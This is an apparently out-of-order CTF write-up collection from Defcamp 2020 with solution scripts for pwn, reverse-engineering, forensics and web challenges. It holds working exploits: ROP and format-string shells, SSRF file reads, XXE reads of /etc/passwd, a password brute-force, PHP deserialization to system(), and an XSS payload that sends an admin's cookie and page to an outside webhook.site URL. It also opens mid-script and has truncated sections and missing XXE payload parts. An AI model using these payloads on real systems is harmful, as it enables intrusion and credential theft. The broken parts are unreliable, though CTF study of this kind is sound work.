p64(exe.plt["puts"])payload += p64(main)io.sendlineafter("Message: ", payload) io.recvuntil("Hacker alert")io.recvline()leak = u64(io.recvline().rstrip().ljust(8, b"\x00"))log.info(f"leak: {hex(leak)}") if args.LOCAL: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")else: libc = ELF("libc6_2.27-3ubuntu1.3_amd64.so") libc.address = leak - libc.symbols["puts"]log.success(f"libc base: {hex(libc.address)}")payload = b"A"*(0x80-8)payload += p64(pop_rdi)payload += p64(next(libc.search(b"/bin/sh")))payload += p64(pop_rdi+1) # ret gadget for stack alignmentpayload += p64(libc.symbols["system"])payload += p64(libc.symbols["exit"]) io.sendlineafter("Secret message: ", "#!@{try_hard3r}")io.sendlineafter("Message: ", payload) io.interactive() # ctf{9bb6df8e98240b46601db436ad276eaa635a846c9a5afa5b2075907adf39244b}``` Vulnerable function protected with password.The vuln is a buffer overflow. First we trigger the bug to leak the address of puts through the GOT.This enables us to find the base address of libc. We then trigger the bug a second time and ROP into `system("/bin/sh")`. ### darkmagic```python#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host 34.89.250.23 --port 32440 ./darkmagicfrom pwn import * # Set up pwntools for the correct architectureexe = context.binary = ELF('./darkmagic') # Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or '34.89.250.23'port = int(args.PORT or 32440) def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw) # Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''b *0x00000000004007FFcontinue'''.format(**locals()) #===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Partial RELRO# Stack: Canary found# NX: NX enabled# PIE: No PIE (0x400000) io = start() io.recvline() writes = { exe.got["printf"]: exe.plt["system"] }payload = fmtstr_payload(8, writes=writes, write_size="byte")io.sendline(payload)io.sendline("/bin/sh;") io.interactive()# dctf{857ee5051eeccf7cbdfa0ab9986d32f89158429fc12348e15419a969ddcb6bfb}``` Format string vuln. Read + printf called in a loop. We use the first `printf()` call to overwrite `printf@GOT` with `system` (we have `system` in the PLT). The second `printf()` will then execute whatever we send after the format string payload. ## Reverse engineering### secret-reverseThis binary opens up a file `message.txt` and prints out the encoded version of it. Our target is to find some message contents, such that the encoded content becomes `46004746409548141804243297904243125193404843946697460795444349`. I quickly noticed that the output was of variable length, with only 1-2 letters output per input letter. With this, I brute-forced 2 and 2 letters at the time, picking the encoded message that was the closest match with the target. The original message was: `yes_i_am_a_criminal_mastermind_beaware`. Thus the flag becomes: `ctf{9b9972e4d59d0360b5f1b80a5bbd76c05d75df5b636576710a6271c668a10ac5}` Solution script:```pythonfrom subprocess import check_output, CalledProcessErrorfrom string import printable, ascii_lowercasefrom itertools import productfrom hashlib import sha256 ALPHA = ascii_lowercase +"_"TARGET = "46004746409548141804243297904243125193404843946697460795444349" def run(s): with open("message.txt","w") as fd: fd.write(s) try: out = check_output(["./rev_secret_secret.o"]) return out.strip().split(b"Encoded: ")[1].decode() except CalledProcessError: print(f"Input {s} crashed") return "" def score(s1, s2): for i in range(min([len(s1),len(s2)])): if s1[i] != s2[i]: return i return min([len(s1),len(s2)]) known = "yes_i_am_a_criminal_mastermind_beawa"best = 0beststrings = []for comb in product(ALPHA, repeat=2): T = known + ''.join(comb) out = run(T) if out == TARGET: print(f"ctf{{{sha256(T.encode()).hexdigest()}}}") break if (m := score(out, TARGET)) >= best: print(T, m, out) if m > best: beststrings = [T] best = m else: beststrings.append(T) print(best)print(beststrings)``` ### kalf-gameIn this challenge we are given a snake game written in rust. Since this is ahuge binary the first thing we did was to try and find something interestingrelated to the game. By looking at strings in IDA we quickly find these:* `Level finished!`* `is the victory level!`* `ctf{}`* etc. By following the xrefs to these strings we found an interesting function at`0xE53C0`. Even with the decompiler the code looks like crap, but we could seea lot of references to strings that look like part of the flag. At `0xE5A04`there's a check to see if some number is equal to 100000, and if it is the codeproceeds to print some interesting stuff. We assumed that this was the "win" check, and that the code is checking thelevel we are currently on. So we added a breakpoint to check. In gdb we couldverify that this value did in fact match the level. The solution was then tochange the level to 10000 and let the program continue running. The flag is puttogether and printed:`ctf{ddba6614a32456631c125eb1a4327c52686c71d909a92ec05ea5eb510eae81d9}` ### yopass-go```sh$ strings yopass-go/yopass | grep ctf*runtime.structfieldfound bad pointer in Go heap (incorrect use of unsafe or cgo?)runtime: internal error: misuse of lockOSThread/unlockOSThreadruntime.SetFinalizer: pointer not at beginning of allocated blockstrconv: internal error: extFloat.FixedDecimal called with n == 0runtime:greyobject: checkmarks finds unexpected unmarked object obj=ctf{0962393ce380c3cf696c6c59a085cde0f7edd1382f2e9090220abdf9a6396c88}runtime: found space for saved base pointer, but no framepointer experiment/home/lucian/Desktop/ctf/yopass-go/yopass.go/home/lucian/Desktop/ctf/yopass-go/yopass.go[]runtime.structfieldruntime.structfieldruntime.structfield*runtime.structfield"[]runtime.structfield$runtime.structfield%runtime.structfield *runtime.structfield``` and there we go: `ctf{0962393ce380c3cf696c6c59a085cde0f7edd1382f2e9090220abdf9a6396c88}` ### stripped-goused [golang_loader_assist.py](https://github.com/strazzere/golang_loader_assist) to recover symbols.main_main performs AES encryption with this passphrase: `thisis32bitlongpassphraseimusing`.and the message is: `g01sn0tf0rsk1d1e`. which means that the flag is ctf{sha256{g01sn0tf0rsk1d1e}} == ctf{a4e394ae892144a54c008a3b480a1b22a6b64dd26c4b0c9eba498330f511b51e} ### modern-loginWe quickly noticed the mp3 file that contained some Python files. We extracted the files by doing the following steps:1. Unzipping the APK and traversing to the `assets/` folder. 2. Running `file` showed us that `private.mp3` was a zipped folder. 3. Unzipping it revealed another `private.mp3` file which was a tar4. Extracting this as well provided us with several files, among them was `main.py`. At first, they just seemed like bundled files and we didn't check them out much. However, we looked at the files in the mobile file system after running the app. There, we found the same files. At this point we looked further into them. The most interesting file was `main.py`. It contained some functions to check the password and to XOR encrypt strings. Part of `main.py`:```S=leno=bytesv=enumerateW=printh=None def n(byt): q=b'viafrancetes' f=S(q) return o(c^q[i%f]for i,c in v(byt)) def d(s): y=n(s.encode()) return y.decode("utf-8")``` Running the `d()` function decrypted the XOR encrypted strings in the file. This revealed that `\x15\x1d\x07\x1dATX\x00P\x11RJG\r\x04VJW_S\x07L\x00J\x15\x0bQV\x13WZ\x07TB\x06A\x15\x0f\x02T\x10\x04^S\x07EV@\x10\r\x07\x07GPW[QFUAG]XVK\x02\rR\x18`was the flag: `ctf{356c5e791de08610b8e9cb00a64d16c2cfc2be00b133fdfa5198420214909cc1}` ### dumb-discordWe get a file to reverse: `server.cpython-36.pyc` This is a Python bytecode file that is easy to decompile using *Uncompyle6* ```shelluncompyle6 server.cpython-36.pyc > server.py``` When looking at the code we can see that this is a Discord bot ```pythonfrom discord.ext import commandsimport discord, jsonfrom discord.utils import get def obfuscate(byt): mask = b'ctf{tryharderdontstring}' lmask = len(mask) return bytes(c ^ mask[(i % lmask)] for i, c in enumerate(byt)) def test(s): data = obfuscate(s.encode()) return data intents = discord.Intents.default()intents.members = Truecfg = open('config.json', 'r')tmpconfig = cfg.read()cfg.close()config = json.loads(tmpconfig)token = config[test('\x17\x1b\r\x1e\x1a').decode()] # tokenclient = commands.Bot(command_prefix='/') @client.eventasync def on_ready(): print('Connected to bot: {}'.format(client.user.name)) print('Bot ID: {}'.format(client.user.id)) @client.command()async def getflag(ctx): await ctx.send(test('\x13\x1b\x08\x1c').decode()) # pong @client.eventasync def on_message(message): await client.process_commands(message) if test('B\x04\x0f\x15\x13').decode() in message.content.lower(): # !ping await message.channel.send(test('\x13\x1b\x08\x1c').decode()) # pong if test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode() in message.content.lower(): # /getflag if message.author.id == 783473293554352141: role = discord.utils.get((message.author.guild.roles), name=(test('\x07\x17\x12\x1dFBKXO\x11\x1d\x07\x17\x16\n\n\x01]\x06\x1d').decode())) # dctf2020.cyberedu.ro member = discord.utils.get((message.author.guild.members), id=(message.author.id)) if role in member.roles: await message.channel.send(test(config[test('\x05\x18\x07\x1c').decode()])) # flag if test('L\x1c\x03\x17\x04').decode() in message.content.lower(): # /help await message.channel.send(test('7\x06\x1f[\x1c\x13\x0b\x0c\x04\x00E').decode()) # try harder! if '/s基ay' in message.content.lower(): await message.channel.send(message.content.replace('/s基ay', '').replace(test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode(), '')) # /getflag``` The script has an encode function that uses xor to obfuscate strings. We can see that the key is `ctf{tryharderdontstring}` After xoring all of the strings in the script with this key, we now know which commands that are available:- !ping- /getflag- /help- /s基ay We can also see that in order to get the flag stored in the config file, we need an author with ID **783473293554352141** to execute the `/getflag` command.This author also needs the `dctf2020.cyberedu.ro` role. My guess is that this is the ID of the bot. But where do we find the bot? It turns out that you can invite any bot to your own Discord server if you have the ID. Here is the link:https://discord.com/oauth2/authorize?client_id=783473293554352141&scope=bot&permissions=0 This user is called `DCTFTargetWhyNot`. Lets invite it to our own server ![](https://i.imgur.com/yEF7iDl.png) Now we just need to force the bot to execute the `/getflag` command, and the `/s基ay` command will help us with that. We can make the bot say anything if we pass an argument to this command. However, there are two replace methods that removes `/s基ay` and `/getflag` from our message. We can bypass this by making the `/getflag` command all uppercase, since the bot is converting all commands to lowercase. ![](https://i.imgur.com/hwRXfvJ.png) Oh no! Looks like the flag is also xor-encrypted, so we need to xor it with the same known key as we found earlier: `ctf{1b8fa7f33da67dfeb1d5f79850dcf13630b5563e98566bf7b76281d409d728c6}` ## Misc### qr-maniaFirst we extracted all the pictures from the pcap using wiresharkevery picture is a QR code, so we wrote a script to dump the data from every code. qrtools was not able to deal with most of the qr codes as they were different colors, so we converted all of them into black/white pictures before decoding. the output didn't look like a flag, but we noticed that all the different parts of the flag was there (e.g. C, T, F, and {, }).After checking different things like the order the pictures were downloaded in, the date in every picture, etc. we found out that there was a comment in the EXIF data of every picture telling us the position of that picture. we used this to make an ordered list of the files: ```huquiiddfswdqalnctdi.pngrrhggrokkhbwadumtkhx.pngdglakvmqmabxcqlpgbjb.pngfbnribfqosqcgsbvslvz.pngytwlritcxznphymnsowe.pngejznsfmiucllxxespijz.pnghchwxnsotuqrtbrdmbmg.pngyzhfednrfjsvinsbbyhp.pngeiyhbbcrfnwncfsghmez.pngsuvwivhtpjkcdpcdurty.pngbiuwfrwgdocdypyliqyt.pngrmdueayyyacxcceysxtm.pnggtxiufelpdevwvcpejql.pngkxcgjifkviewjaiwydos.pngpvsyteygdilvpctcavzm.pngsrfedsijdcfewypfoeii.pngxfcbvnbakbgypttpslvk.pngdmdkaosivnyzxyzmglai.pngkbavpqschcbaxbezypla.pngloaaiwgsfohhebksrzve.pngrvvkzxxdoyzdechbpaiw.pngxsdkmqnnwrscbvbbprsw.pngvcdqnjgliurrsbczwljv.pngdfhwcysjjnrnhfziizlr.pngdwpgvvlipmmhlkulbrtt.pnghsqqemzyyeqczawnerdp.pngilymnjclovkuejytnwvi.pngjckteobzkpvxoqqrqovd.pnglilikwxihvrdnqsvepqz.pngzslcptglhdyldbzmlren.pngbynatxrryamhwwhmmroj.pngkamdmutdlzdoypbozuhz.pngoedfvuiyglrsmoociury.pngofqmletvbqbxzygbzdrh.pngrkdyzefqczfgxaqkqxpt.pngxcrtvutynuuswwpcqojs.pngyepskbbojoroewcotddo.pngcllzodvnyvvmbppaktsd.pngdhqclnghhlrjxjmhjzon.pngkzlibdjxvtbgtiaowvez.pngqpuohuugyhrhfaxdyqux.pngxgslqgwnecldbojahatx.pngkgzjqaffmkezutjdcqyw.pngkmziktrekxzaihwkocfj.pnglrhsihqzqeuisjlgoyky.pngnhbiyacdrbxgrutijbxi.pngeioshuilsoxydsahsfnl.pngrvvcnqbnbdslgdrwatrk.pngdtruebslzybqbiewkwjr.pngdwesxvndmatigdqdvcpr.pngnkmswrsvwrnmapsnillk.pngoyhwsqkdqheovawwlggm.pngpgkrzpxhehywhtmkjgsb.pngavudtreighimhcgmwape.pngkuimxqwkydzdfhvwzayz.pngyybbwqnirqzldfiheiyh.pngzstxtahbtgccautnswcf.pngszpzkekngxnasbbjwhhx.pngxhaffangdrxmuvdpurdh.pnguwjmnpykkkaoxdeesmxi.pngajxxcwfgozxpbhnauore.pnggzmshnrwkknmmitqnqzp.pnghfnkcgtjyeprtbaldxxk.pnglkvdwmunrarpuyqzdyne.pngjkfxjauvqodhqwzblgen.pngvuiwwzjdojhdlaaamzwb.pnglmmfdbfmheysbhbgjazn.pngwbuhqpnwfuovgdwoedoc.pngczguxctbmqgfgxhvnwzr.png``` with that list we could run our script again to get the flag:```python#!/usr/bin/env python3import qrtoolsimport osfrom PIL import Image def get_colors(pic): im = Image.open(pic, "r") pix = im.load() return set([pix[x,y] for y in range(im.size[1]) for x in range(im.size[0])]) def convert_colors(pic): im = Image.open(pic) white = ( 255, 255, 255 ) black = ( 0, 0, 0 ) pix = im.load() white_target = pix[0, 0] print(f"target: {white_target}") out = f"{pic[:-4]}_fixed.png" im2 = Image.new("RGB", im.size, (255, 255, 255)) pix2 = im2.load() for y in range(im.size[1]): for x in range(im.size[0]): if pix[x,y] == white_target: pix2[x,y] = white else: pix2[x,y] = black im2.save(out, "PNG") return out import re def main(file_list): with open(file_list, "r") as f: files = f.readlines() cnt = 0 res = {} for filename in files: filename = filename.rstrip() if ".png" not in filename: continue print(filename) fixed = convert_colors(filename) qr = qrtools.QR() qr.decode(fixed) print(f"{filename}: {qr.data}") if qr.data is None: print("failed!") break from subprocess import check_output out = check_output(f"exiftool {filename}", shell=True).decode("utf-8") m = re.search(r"Comment.*: ([0-9]+)/69", out) num = int(m[1]) res[num] = qr.data from pprint import pprint pprint(res) flag = "".join([res[i] for i in range(1, 69+1)]) print(flag) if __name__ == "__main__": main("files.txt")``` `CTF{2b2e8580cdf35896d75bfc4b1bafff6ee90f6c525da3b9a26dd7726bf2171396}`
# Defcamp 2020 writeups :triangular_flag_on_post: ## Team information**Team name:** bootplug **Country**: Norway **CTFTime profile**: https://ctftime.org/team/81341 **Authors**zup, PewZ, UnblvR, maritio_o, odin We solved 25/26 challenges. Did not solve `inorder` --- ## Forensics### basic-comsWe get a pcap file. Searched for `http` traffic and found a single stream with some very interesting information in it ![](https://i.imgur.com/rpdwAsd.png) This **GET** request seems to contain an interesting parameter that looks like a flag. Decoding this from URL encoding yields the flag```The content of the f l a g is ca314be22457497e81a08fc3bfdbdcd3e0e443c41b5ce9802517b2161aa5e993 and respects the format``` `CTF{ca314be22457497e81a08fc3bfdbdcd3e0e443c41b5ce9802517b2161aa5e993}` ### t3am_vi3w3rNoticed some DNS requests in the PCAP to RealVNC websites. Filtering on VNC traffic (`vnc` as filter in Wireshark) lists up some "broken" PDUs, but they are most likely just too new for Wireshark to handle. Looking at the last byte of all these PDUs, we see that some text is entered - one letter at a time. It writes out the "Bee Movie" script, with the flag somewhere in the middle of it. By simply looking for a value that matches '{', I was able to read out each letter of the flag and communicate it to a team mate that wrote it down. flag: `DCTF{74a0f35841dfa7eddf5a87467c90da335132ae52c58ca440f31a53483cef7eac}` ### hunting-into-the-wildQ1. Based on the text, and obviois tool to think about is mimkaz, which often contain sekurlsa in the commanline. Used the following search on winlogbeat index:```process.args: *sekurlsa*```Shows process name: mim.exe Q2.Seeing that most "malicous" related to APTSimulator, looking for events around this activity and filtering based on common native tools used for downloading, we found the following:```certutil.exe -urlcache -split -f https://raw.githubusercontent.com/NextronSystems/APTSimulator/master/download/cactus.js C:\Users\Public\en-US.js``` Q3. By going back in timeline to see source of all the malicous events, the following command was found:```C:\Windows\system32\cmd.exe /c ""C:\Users\IEUser\Desktop\APTSimulator\APTSimulator.bat```CTF{APTSimulator.bat} Q4. Common command used for user management at windows is ```net user```, search for this actiovity within the timeline of the malicous commands, the following command line was found:```net user guest /active:yes``` ### spy-agency Volatility imagescan shows that the relevant profile is `Win7SP1x64`. After a brief `pstree` and `filescan`, we see that there's not really that much happening process-wise. But Chrome has been used to download a file from WeTransfer: ``` 0x000000003fa82210 16 0 RW---- \Device\HarddiskVolume2\Users\volf\Downloads\app-release.apk.zip``` We weren't able to dump this exact file, but there were some copies of it located on the desktop that could be dumped using `dumpfiles -Q XXX` with XXX being the physical address from the filescan output. The Chrome history also showed some Google searches for Bluestacks, an Android emulator, but none of its binaries were present. The belief is that someone downloaded this APK, then ran it locally in Bluestacks to get the secret location - which is the goal of this challenge. The zip file does not contain an APK at all, but a directory, which contains the contents of an APK. This breaks normal decompilers like JADX, but luckily it's easy to repack it as a proper APK file. After some brief reversing of the app, it looks like it is just a simple "Hello, World!" Android application, that only shows a single view with a "Hello World" message. ```javapackage com.example.hidden_place; import android.os.Bundle;import androidx.appcompat.app.AppCompatActivity; public class MainActivity extends AppCompatActivity { /* access modifiers changed from: protected */ public void onCreate(Bundle bundle) { super.onCreate(bundle); setContentView((int) R.layout.activity_main); }}``` However, inside drawables, there's a hidden file: `res/drawable/coordinates_can_be_found_here.jpg`. In the EXIF data of this image, there's some coordinates `-coordinates=44.44672703736637, 26.098652847616506` pointing to a Pizza hut. Flag: `ctf{a939311a5c5be93e7a93d907ac4c22adb23ce45c39b8bfe2a26fb0d493521c4f}` (sha256 of 'pizzahut') ## Web### alien-inclusionThis is a very simple PHP server. The flag is located in `/var/www/html/flag.php` ```php 15: print("cmd too long!") return data = { "password": "foobardeadbeefdsadsa" } req = requests.post(url, data=data) tmp = req.content.decode("utf-8") idx = tmp.index("/secrets") secret = tmp[idx:].split("'")[0] print(secret) url += secret print(url) params = { "tryharder": cmd } req = requests.get(url, params=params) print(req.content) req = requests.get(url) print(req.content) if __name__ == "__main__": main("http://35.242.253.155:30574", "${`ln -s /var`}") main("http://35.242.253.155:30574", "${`mv var o`}") main("http://35.242.253.155:30574", "${`ln -s o/w*`}") main("http://35.242.253.155:30574", "${`mv www l`}") main("http://35.242.253.155:30574", "${`ln -s l/h*`}") main("http://35.242.253.155:30574", "${`mv html j`}") main("http://35.242.253.155:30574", "${`cat j/f*>2`}") main("http://35.242.253.155:30574", "${print`cat 2`}")``` We can inject php using the `tryharder` parameter, but it has to be less than 16 characters. In addition, the data we can change is part of a doc string (heredoc). We use ${} to run php and backticks to run shell commands.Running the solution script gives us the flag:`ctf{d067ddd00ba4129e83898758ac321533f392364cfaca7967d66791d9d08823bb}` ### pirate-crawlerThere is nothing on the main page. First we found `/console` endpoint by dirbusting. However, the debugger console was protected with a PIN. In the task description they mentioned APIs. So we tried to find `/api`, `/v1` and `/v2` etc.We then found some interesting endpoints. * `/v1` - mentions that `/v1` is disabled and that we should see the changelog for more information.* `/v2` - mentions that this is the `V2 API ROUTE` We then tried to find the CHANGELOG file:```shell$ http GET 'http://138.68.93.187:6960/v2/CHANGELOG'HTTP/1.0 200 OKContent-Length: 204Content-Type: text/html; charset=utf-8Date: Mon, 07 Dec 2020 16:47:24 GMTServer: Werkzeug/1.0.1 Python/3.6.9 #1: V1 context - V1 api routes disabled after sambacry #2: V2 context - crawl route parammeter changed to 'adshua' to prevent abuse #3: V2 context - added new safe SMbHandler to prevent sambacry``` We now know that SMB is involved and that there is an endpoint called `/v2/crawl`.We can use this endpoint to visit web pages, but it has an SSRF vulnerability. This meansthat we can fetch files from the server, or visit internal web pages. Using this vulnerability we fetched the SMB config and the app.py source code: `curl -D- http://138.68.93.187:6960/v2/crawl?adshua=file:///etc/samba/smb.conf --output smb.conf` `curl -D- 'http://138.68.93.187:6960/v2/crawl?adshua=file:///home/ctfuser/app.py' --output app.py` There is an interesting entry in SMB config```ini[josh] path = /samba/josh browseable = yes read only = yes guest ok = yes force create mode = 0660 force directory mode = 2770 valid users = josh @sadmin``` `josh` is an SMB share, and we can authenticate to this share as `josh`.We also see a new API endpoint for SMB ```[email protected]("/v2/smb", methods=["GET"])def smb(): #this might ROCK YOUr world! if request.args.get('onlyifyouknowthesourcecode'): director = urllib.request.build_opener(SMBHandler) fh = director.open(request.args.get('onlyifyouknowthesourcecode')) buf = fh.read() fh.close() return buf``` There is a hint refering to `rockyou.txt` in the source code. So now we just create a script to bruteforce josh's password using this wordlist. ```python#!/usr/bin/env python3import requestsimport sys url = "http://138.68.93.187:6960/v2/smb?onlyifyouknowthesourcecode=smb://josh:{password}@localhost/josh/flag.txt" with open(sys.argv[1]) as wlist: for pw in wlist: pw = pw.rstrip() r = requests.get(url.format(password=pw)) if "not authenticated" not in r.text: if "filedescriptor out of range" not in r.text: print(r.text) print(f"PASS: {pw}")``` The correct password is `christian`. We can now get the flag! `http GET 'http://138.68.93.187:6960/v2/smb?onlyifyouknowthesourcecode=smb://josh:christian@localhost/josh/flag.txt'` The flag is: `ctf{6056850ae00cb2cdc76d2bfa0bcb40ee3cc744702a31af0a8edd7fb2872da6f9}` ### syntax-checkThis task took a while to figure out. The task description is```Some languages can be read by human, but not by machines, while others can be read by machines but not by humans. This markup language solves this problem by being readable to neither. The flag is in /var/www/html/flag.``` The button on the main page does not work at all. It sets a GET parameter called `<foo>Hi!</foo>` and we get an error page saying "Empty string supplied as input." The trick was to figure out that you had to send something in the request body instead of a GET parameter. `curl -D- -XGET 'http://34.107.22.248:30526/parse' --data test` A new error message: `That XML string is not well-formed` Now we get a clue that the data we send is should be XML. The vulnerability here must be XML External Entity processing. We can try to create some entities that fetches local files on the server. ```shell$ curl -D- -XGET 'http://34.107.22.248:30526/parse' --data ' ]><foo>&exfiltrate;</foo>'``` We get the `/etc/passwd` file back!```...gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinwww:x:1000:3000::/var/www:/usr/sbin/nologin``` However we cannot leak the flag using base64 encoding. ```shellcurl -D- -XGET 'http://34.107.22.248:30526/parse' --data ' ]><foo>&exfiltrate;</foo>'``` The error message is `You just tried to exfiltrate using base64? Nice. Try again!` Seems like there is some sort of filter checking the output. We can't convert the PHP flag file into base64. It is still possible to convert the PHP file into UTF-16 though: ```shell$ curl -D- -XGET 'http://34.107.22.248:30526/parse' --data ' ]><foo>&exfiltrate;</foo>'```We then get this string `瑣筦㈰摢㠴㈶㌷㈰㌶㈶㡥㙡㘹挱㍤〳㠳㈱㜰挳〵慦㔷戹㈴戰攱愷ㄱ㉡㍣扡㄰〳੽` We can convert this to UTF-8 and get the flag! `ctf{02bd486273026362e8a6961cd3303812073c50fa759b420b1e7a11a2c3ab0130}` ### cross-meThe challenge name is a hint that this is an XSS challenge. After you have logged in you can post notes to the website. The admin will check every note you create. When trying to post `<script>` tags we get an error message: `Invalid input. Failed at /<[^\w<>]*[ \/]\w*/i` The server is validating our notes using regex. It has quite a few different patterns that it checks: - `/<[^\w<>]*[ \/]\w*/i`- `/<(|\/|[^\/>][^>]+|\/[^>][^>]+)>/i`- `/(\b)(on\S{5,8})(\s*)=|(<\s*)(\/*)script/im`- ```/["'\(\)\.:\-\+> `]/im``` The best way I found to bypass this check is to convert our javascript into HTML entities: e.g. `asdasd` -> `asdasd` After trial and error I found out that the `<svg>` tag is your best bet! We can use its **onload** method which is not matched by the regex pattern above. ("load" is shorter than 5 characters). Let's test this by fetching the admin's cookie. We can't have spaces, and can't have any `>` tag at the end. But it still works: `<svg/onload=document.location="https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35?c="+document.cookie//<` Convert the javascript to HTML entities:```http --form POST 'http://35.242.253.155:31810/index.php?page=newpost' Cookie:PHPSESSID=47117bffb9bc0406a138d082980b72f2 title='asd' description='<svg/onload=document.location="https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35?c="+document.cookie//<'``` We now get a request from the admin. But there is no flag in the cookies...I then noticed the referer header in the request from admin: `Referer: http://127.0.0.1:1234/index.php?page=post&id=221` If we make the admin fetch this website and send the result back to us, we might get the flag.The new plan is to use **fetch**: ```jsfetch('/index.php?page=post&id=604').then(r=>{return r.text()}).then(t=>{fetch('https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35', {method:'POST',body:t})})``` This javascript posts the entire website back to us. When converting this to HTML entities, we can do the request to get the flag :) ```http --form POST 'http://35.242.253.155:31810/index.php?page=newpost' Cookie:PHPSESSID=47117bffb9bc0406a138d082980b72f2 title='asd' description='<svg/onload=fetch('/index.php?page=post&id=604').then(r=>{return r.text()}).then(t=>{fetch('https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35', {method:'POST',body:t})})//<'``` FLAG: `CTF{3B3E64A81963B5E3FAC7DE0CE63966F03559DAF4B61753AADBFBA76855DB5E5A}` ### environIt is a login page, but we cannot login, and there is no button to register an account.After doing some enumeration we found a few endpoints that seems interesting - /index.php- /login- /forgot-password- /register- /dashboard- /assets- /css- /js- /backup At `/register` we can register an account and we get redirected to `/dashboard````Environ is a tool to decrypt your deal messages Sorry for the inconvenience but we’re performing some maintenance at the moment. If you need to you can always contact us, otherwise we’ll be back online shortly! — The Team.``` If we go to `/index.php` we can see this message:```Environ is a tool to decrypt your deal messages Sorry for the inconvenience but we’re performing some maintenance at the moment. If you need to you can always contact us, otherwise we’ll be back online shortly! — The Team. Also you can use /decode/{text} to obtain the contents of your private message.``` A new endpoint! `/decode/{text}`. Almost everything we tried to insert as *text* makes the server respond with `bool(false)` If you insert a symbol, you get `File not found`. I created a script to enumerate all the valid characters:```python#!/usr/bin/env python3import requestsimport string url = "http://35.198.183.125:30278/decode/" valid_chars = [] headers = { "Cookie": "laravel_session=eyJpdiI6Ik5QMmtiajAxZ0JHTjdLTW5TcDV1Nmc9PSIsInZhbHVlIjoicEhIV3lKaEUrKzFnS1VDcmcyWDhPQ0ZVNlYzeFR3TkdBbjk4VW1NditnOHRxaEl5MU01YmUrMFpxRGZyc0lMTHBLYWRKOWNiMVpHaFEyUy9ac3FsSUFMeXRNZ2RZZmdNL3RnOGEyUFlpZHV2aGlOVXRpWm1nbTE5cDU1Wmd6YmsiLCJtYWMiOiJjNzZkZjcyNGIwNWIyYzZiNjcyNmQ1YTE2YWM0ZTE5N2JhZGE4NGVmYzE3ZGY3NDc0Zjg0MWY5NzRjMTQ2NTliIn0%3D", "Accept": "application/json"} for c in string.printable: r = requests.get(url+c, headers=headers) if "bool(false)" in r.text: valid_chars.append(c) else: print(r.text.strip()) print(''.join(valid_chars))``` The valid characters are `0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%+=` This looks like base64 to me! At this point we started looking at the other endpoints, and found out that `/backup` is a git repository. We dumped the repository using [git-dumper.py](https://github.com/arthaud/git-dumper) (I had to replae all ".git" with "backup" for it to work) and find `.env.example` that contains an AES key: `APP_KEY=base64:Wkt8DOa9t16Z+DSLKsy+5r4S0aA9JmdItAk9//NiKu0=` We also find the decode function used in the Laravel app. ```phppublic function decode(Request $request, $secret) { $key = env('APP_KEY'); $cipher = "AES-256-CBC"; $iv = substr(env('APP_KEY'), 0, 16); $secret_message = unserialize(openssl_decrypt($secret, $cipher, $key, 0, $iv)); var_dump($secret_message); }``` This function decrypts our secret message and unserializes it. Maybe we can try to exploit this unserialization? To do this we need to find a class that has a constructor / deconstructor that does something unsafe. I found just the class for this in `app/Http/Middleware/YourChain.php` ```php<?php namespace App\Http\Middleware; use Closure;use Illuminate\Http\Request; class YourChain{ /** * Handle an incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @return mixed */ // public function handle(Request $request, Closure $next) // { // return $next($request); // } public $inject; function __construct(){ } function __wakeup(){ if(isset($this->inject)) { if(isset($this->inject[5])){ eval($this->inject[5]); } } }}``` If we can create a serialized object with an `$inject` parameter that is an Array, we can eval php code of our choice. The 5th index must contain the code that should be evaled. I did this by opening an interactive session with php: `php -a````php$key = "base64:Wkt8DOa9t16Z+DSLKsy+5r4S0aA9JmdItAk9//NiKu0=";$iv = substr($key, 0, 16); echo openssl_encrypt("O:29:\"App\\Http\\Middleware\\YourChain\":1:{s:6:\"inject\";a:6:{i:0;s:0:\"\";i:1;s:0:\"\";i:2;s:0:\"\";i:3;s:0:\"\";i:4;s:0:\"\";i:5;s:29:\"system('base64 ../flag.php');\";}}", "AES-256-CBC", $key, 0, $iv);``` Which yields `6yjQqIXn0W0bR6EwHTW2NfGZUD4vr9E537p+861LxkPV8tNU63xRZz34KbAoOYNU/Z0SXAME/FlmW2Gpc14G/eXe+TngCovxh6lKt3I9ZmutmF0iLSRycW3X3xdse83uy7Hp3XSqh0Z20knHOqqi4KulAvtT1BbFDzwrNtstRGvciaSyqVgbbhtCIQe0lwyw2YZ8TkBKrdSefnNfBLFuzQ==` We can send this encrypted text to the `/decode` endpoint to get our command executed!I tried multiple commands before I finally found flag.php in a directory. ```shell$ http GET "http://35.198.183.125:30278/decode/6yjQqIXn0W0bR6EwHTW2NfGZUD4vr9E537p+861LxkPV8tNU63xRZz34KbAoOYNU/Z0SXAME/FlmW2Gpc14G/eXe+TngCovxh6lKt3I9ZmutmF0iLSRycW3X3xdse83uy7Hp3XSqh0Z20knHOqqi4KulAvtT1BbFDzwrNtstRGvciaSyqVgbbhtCIQe0lwyw2YZ8TkBKrdSefnNfBLFuzQ==" 